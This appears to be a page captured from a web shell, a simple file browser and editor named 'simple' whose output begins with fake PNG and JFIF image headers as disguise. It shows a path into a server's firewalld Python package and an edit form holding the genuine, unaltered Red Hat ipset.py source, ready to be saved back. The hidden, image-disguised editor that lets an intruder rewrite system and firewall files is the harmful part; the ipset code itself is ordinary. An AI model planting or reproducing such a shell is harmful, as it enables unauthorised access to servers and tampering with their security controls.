�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Flib%2F'>lib</a>/<a href='?path=%2Flib%2Fpython3.6%2F'>python3.6</a>/<a href='?path=%2Flib%2Fpython3.6%2Fsite-packages%2F'>site-packages</a>/<a href='?path=%2Flib%2Fpython3.6%2Fsite-packages%2Ffirewall%2F'>firewall</a>/<a href='?path=%2Flib%2Fpython3.6%2Fsite-packages%2Ffirewall%2Fcore%2F'>core</a>/</p><hr><h3>✏️ Editing: ipset.py</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'># -*- coding: utf-8 -*-
#
# Copyright (C) 2015-2016 Red Hat, Inc.
#
# Authors:
# Thomas Woerner &lt;twoerner@redhat.com&gt;
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see &lt;http://www.gnu.org/licenses/&gt;.
#

&quot;&quot;&quot;The ipset command wrapper&quot;&quot;&quot;

__all__ = [ &quot;ipset&quot;, &quot;check_ipset_name&quot;, &quot;remove_default_create_options&quot; ]

import os.path
import ipaddress

from firewall import errors
from firewall.errors import FirewallError
from firewall.core.prog import runProg
from firewall.core.logger import log
from firewall.functions import tempFile, readfile
from firewall.config import COMMANDS

IPSET_MAXNAMELEN = 32
IPSET_TYPES = [
    # bitmap and set types are currently not supported
    # &quot;bitmap:ip&quot;,
    # &quot;bitmap:ip,mac&quot;,
    # &quot;bitmap:port&quot;,
    # &quot;list:set&quot;,

    &quot;hash:ip&quot;,
    &quot;hash:ip,port&quot;,
    &quot;hash:ip,port,ip&quot;,
    &quot;hash:ip,port,net&quot;,
    &quot;hash:ip,mark&quot;,

    &quot;hash:net&quot;,
    &quot;hash:net,net&quot;,
    &quot;hash:net,port&quot;,
    &quot;hash:net,port,net&quot;,
    &quot;hash:net,iface&quot;,

    &quot;hash:mac&quot;,
]
IPSET_CREATE_OPTIONS = {
    &quot;family&quot;: &quot;inet|inet6&quot;,
    &quot;hashsize&quot;: &quot;value&quot;,
    &quot;maxelem&quot;: &quot;value&quot;,
    &quot;timeout&quot;: &quot;value in secs&quot;,
    #&quot;counters&quot;: None,
    #&quot;comment&quot;: None,
}
IPSET_DEFAULT_CREATE_OPTIONS = {
    &quot;family&quot;: &quot;inet&quot;,
    &quot;hashsize&quot;: &quot;1024&quot;,
    &quot;maxelem&quot;: &quot;65536&quot;,
}

class ipset(object):
    &quot;&quot;&quot;ipset command wrapper class&quot;&quot;&quot;

    def __init__(self):
        self._command = COMMANDS[&quot;ipset&quot;]
        self.name = &quot;ipset&quot;

    def __run(self, args):
        &quot;&quot;&quot;Call ipset with args&quot;&quot;&quot;
        # convert to string list
        _args = [&quot;%s&quot; % item for item in args]
        log.debug2(&quot;%s: %s %s&quot;, self.__class__, self._command, &quot; &quot;.join(_args))
        (status, ret) = runProg(self._command, _args)
        if status != 0:
            raise ValueError(&quot;'%s %s' failed: %s&quot; % (self._command,
                                                     &quot; &quot;.join(_args), ret))
        return ret

    def check_name(self, name):
        &quot;&quot;&quot;Check ipset name&quot;&quot;&quot;
        if len(name) &gt; IPSET_MAXNAMELEN:
            raise FirewallError(errors.INVALID_NAME,
                                &quot;ipset name '%s' is not valid&quot; % name)

    def set_supported_types(self):
        &quot;&quot;&quot;Return types that are supported by the ipset command and kernel&quot;&quot;&quot;
        ret = [ ]
        output = &quot;&quot;
        try:
            output = self.__run([&quot;--help&quot;])
        except ValueError as ex:
            log.debug1(&quot;ipset error: %s&quot; % ex)
        lines = output.splitlines()

        in_types = False
        for line in lines:
            #print(line)
            if in_types:
                splits = line.strip().split(None, 2)
                if splits[0] not in ret and splits[0] in IPSET_TYPES:
                    ret.append(splits[0])
            if line.startswith(&quot;Supported set types:&quot;):
                in_types = True
        return ret

    def check_type(self, type_name):
        &quot;&quot;&quot;Check ipset type&quot;&quot;&quot;
        if len(type_name) &gt; IPSET_MAXNAMELEN or type_name not in IPSET_TYPES:
            raise FirewallError(errors.INVALID_TYPE,
                                &quot;ipset type name '%s' is not valid&quot; % type_name)

    def set_create(self, set_name, type_name, options=None):
        &quot;&quot;&quot;Create an ipset with name, type and options&quot;&quot;&quot;
        self.check_name(set_name)
        self.check_type(type_name)

        args = [ &quot;create&quot;, set_name, type_name ]
        if isinstance(options, dict):
            for key, val in options.items():
                args.append(key)
                if val != &quot;&quot;:
                    args.append(val)
        return self.__run(args)

    def set_destroy(self, set_name):
        self.check_name(set_name)
        return self.__run([ &quot;destroy&quot;, set_name ])

    def set_add(self, set_name, entry):
        args = [ &quot;add&quot;, set_name, entry ]
        return self.__run(args)

    def set_delete(self, set_name, entry):
        args = [ &quot;del&quot;, set_name, entry ]
        return self.__run(args)

    def test(self, set_name, entry, options=None):
        args = [ &quot;test&quot;, set_name, entry ]
        if options:
            args.append(&quot;%s&quot; % &quot; &quot;.join(options))
        return self.__run(args)

    def set_list(self, set_name=None, options=None):
        args = [ &quot;list&quot; ]
        if set_name:
            args.append(set_name)
        if options:
            args.extend(options)
        return self.__run(args).split(&quot;\n&quot;)

    def set_get_active_terse(self):
        &quot;&quot;&quot; Get active ipsets (only headers) &quot;&quot;&quot;
        lines = self.set_list(options=[&quot;-terse&quot;])

        ret = { }
        _name = _type = None
        _options = { }
        for line in lines:
            if len(line) &lt; 1:
                continue
            pair = [ x.strip() for x in line.split(&quot;:&quot;, 1) ]
            if len(pair) != 2:
                continue
            elif pair[0] == &quot;Name&quot;:
                _name = pair[1]
            elif pair[0] == &quot;Type&quot;:
                _type = pair[1]
            elif pair[0] == &quot;Header&quot;:
                splits = pair[1].split()
                i = 0
                while i &lt; len(splits):
                    opt = splits[i]
                    if opt in [ &quot;family&quot;, &quot;hashsize&quot;, &quot;maxelem&quot;, &quot;timeout&quot;,
                                &quot;netmask&quot; ]:
                        if len(splits) &gt; i:
                            i += 1
                            _options[opt] = splits[i]
                        else:
                            log.error(&quot;Malformed ipset list -terse output: %s&quot;,
                                      line)
                            return { }
                    i += 1
                if _name and _type:
                    ret[_name] = (_type,
                                  remove_default_create_options(_options))
                _name = _type = None
                _options.clear()
        return ret

    def save(self, set_name=None):
        args = [ &quot;save&quot; ]
        if set_name:
            args.append(set_name)
        return self.__run(args)

    def set_restore(self, set_name, type_name, entries,
                create_options=None, entry_options=None):
        self.check_name(set_name)
        self.check_type(type_name)

        temp_file = tempFile()

        if ' ' in set_name:
            set_name = &quot;'%s'&quot; % set_name
        args = [ &quot;create&quot;, set_name, type_name, &quot;-exist&quot; ]
        if create_options:
            for key, val in create_options.items():
                args.append(key)
                if val != &quot;&quot;:
                    args.append(val)
        temp_file.write(&quot;%s\n&quot; % &quot; &quot;.join(args))
        temp_file.write(&quot;flush %s\n&quot; % set_name)

        for entry in entries:
            if ' ' in entry:
                entry = &quot;'%s'&quot; % entry
            if entry_options:
                temp_file.write(&quot;add %s %s %s\n&quot; % \
                                (set_name, entry, &quot; &quot;.join(entry_options)))
            else:
                temp_file.write(&quot;add %s %s\n&quot; % (set_name, entry))
        temp_file.close()

        stat = os.stat(temp_file.name)
        log.debug2(&quot;%s: %s restore %s&quot;, self.__class__, self._command,
                   &quot;%s: %d&quot; % (temp_file.name, stat.st_size))

        args = [ &quot;restore&quot; ]
        (status, ret) = runProg(self._command, args,
                                stdin=temp_file.name)

        if log.getDebugLogLevel() &gt; 2:
            try:
                readfile(temp_file.name)
            except Exception:
                pass
            else:
                i = 1
                for line in readfile(temp_file.name):
                    log.debug3(&quot;%8d: %s&quot; % (i, line), nofmt=1, nl=0)
                    if not line.endswith(&quot;\n&quot;):
                        log.debug3(&quot;&quot;, nofmt=1)
                    i += 1

        os.unlink(temp_file.name)

        if status != 0:
            raise ValueError(&quot;'%s %s' failed: %s&quot; % (self._command,
                                                     &quot; &quot;.join(args), ret))
        return ret

    def set_flush(self, set_name):
        args = [ &quot;flush&quot; ]
        if set_name:
            args.append(set_name)
        return self.__run(args)

    def rename(self, old_set_name, new_set_name):
        return self.__run([ &quot;rename&quot;, old_set_name, new_set_name ])

    def swap(self, set_name_1, set_name_2):
        return self.__run([ &quot;swap&quot;, set_name_1, set_name_2 ])

    def version(self):
        return self.__run([ &quot;version&quot; ])


def check_ipset_name(name):
    &quot;&quot;&quot;Return true if ipset name is valid&quot;&quot;&quot;
    if len(name) &gt; IPSET_MAXNAMELEN:
        return False
    return True

def remove_default_create_options(options):
    &quot;&quot;&quot; Return only non default create options &quot;&quot;&quot;
    _options = options.copy()
    for opt in IPSET_DEFAULT_CREATE_OPTIONS:
        if opt in _options and \
           IPSET_DEFAULT_CREATE_OPTIONS[opt] == _options[opt]:
            del _options[opt]
    return _options

def normalize_ipset_entry(entry):
    &quot;&quot;&quot; Normalize IP addresses in entry &quot;&quot;&quot;
    _entry = []
    for _part in entry.split(&quot;,&quot;):
        try:
            _part.index(&quot;/&quot;)
            _entry.append(str(ipaddress.ip_network(_part, strict=False)))
        except ValueError:
            _entry.append(_part)

    return &quot;,&quot;.join(_entry)

def check_entry_overlaps_existing(entry, entries):
    &quot;&quot;&quot; Check if entry overlaps any entry in the list of entries &quot;&quot;&quot;
    # Only check simple types
    if len(entry.split(&quot;,&quot;)) &gt; 1:
        return

    try:
        entry_network = ipaddress.ip_network(entry, strict=False)
    except ValueError:
        # could not parse the new IP address, maybe a MAC
        return

    for itr in entries:
        if entry_network.overlaps(ipaddress.ip_network(itr, strict=False)):
            raise FirewallError(errors.INVALID_ENTRY, &quot;Entry '{}' overlaps with existing entry '{}'&quot;.format(entry, itr))

def check_for_overlapping_entries(entries):
    &quot;&quot;&quot; Check if any entry overlaps any entry in the list of entries &quot;&quot;&quot;
    try:
        entries = [ipaddress.ip_network(x, strict=False) for x in entries]
    except ValueError:
        # at least one entry can not be parsed
        return

    if len(entries) == 0:
        return

    # We can take advantage of some facts of IPv4Network/IPv6Network and
    # how Python sorts the networks to quickly detect overlaps.
    #
    # Facts:
    #
    #   1. IPv{4,6}Network are normalized to remove host bits, e.g.
    #     10.1.1.0/16 will become 10.1.0.0/16.
    #
    #   2. IPv{4,6}Network objects are sorted by:
    #     a. IP address (network bits)
    #   then
    #     b. netmask (significant bits count)
    #
    # Because of the above we have these properties:
    #
    #   1. big networks (netA) are sorted before smaller networks (netB)
    #      that overlap the big network (netA)
    #     - e.g. 10.1.128.0/17 (netA) sorts before 10.1.129.0/24 (netB)
    #   2. same value addresses (network bits) are grouped together even
    #      if the number of network bits vary. e.g. /16 vs /24
    #     - recall that address are normalized to remove host bits
    #     - e.g. 10.1.128.0/17 (netA) sorts before 10.1.128.0/24 (netC)
    #   3. non-overlapping networks (netD, netE) are always sorted before or
    #      after networks that overlap (netB, netC) the current one (netA)
    #     - e.g. 10.1.128.0/17 (netA) sorts before 10.2.128.0/16 (netD)
    #     - e.g. 10.1.128.0/17 (netA) sorts after 9.1.128.0/17 (netE)
    #     - e.g. 9.1.128.0/17 (netE) sorts before 10.1.129.0/24 (netB)
    #
    # With this we know the sorted list looks like:
    #
    #   list: [ netE, netA, netB, netC, netD ]
    #
    #   netE = non-overlapping network
    #   netA = big network
    #   netB = smaller network that overlaps netA (subnet)
    #   netC = smaller network that overlaps netA (subnet)
    #   netD = non-overlapping network
    #
    #   If networks netB and netC exist in the list, they overlap and are
    #   adjacent to netA.
    #
    # Checking for overlaps on a sorted list is thus:
    #
    #   1. compare adjacent elements in the list for overlaps
    #
    # Recall that we only need to detect a single overlap. We do not need to
    # detect them all.
    #
    entries.sort()
    prev_network = entries.pop(0)
    for current_network in entries:
        if prev_network.overlaps(current_network):
            raise FirewallError(errors.INVALID_ENTRY, &quot;Entry '{}' overlaps entry '{}'&quot;.format(prev_network, current_network))
        prev_network = current_network
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Flib%2Fpython3.6%2Fsite-packages%2Ffirewall%2Fcore'>🔙 Back</a></p>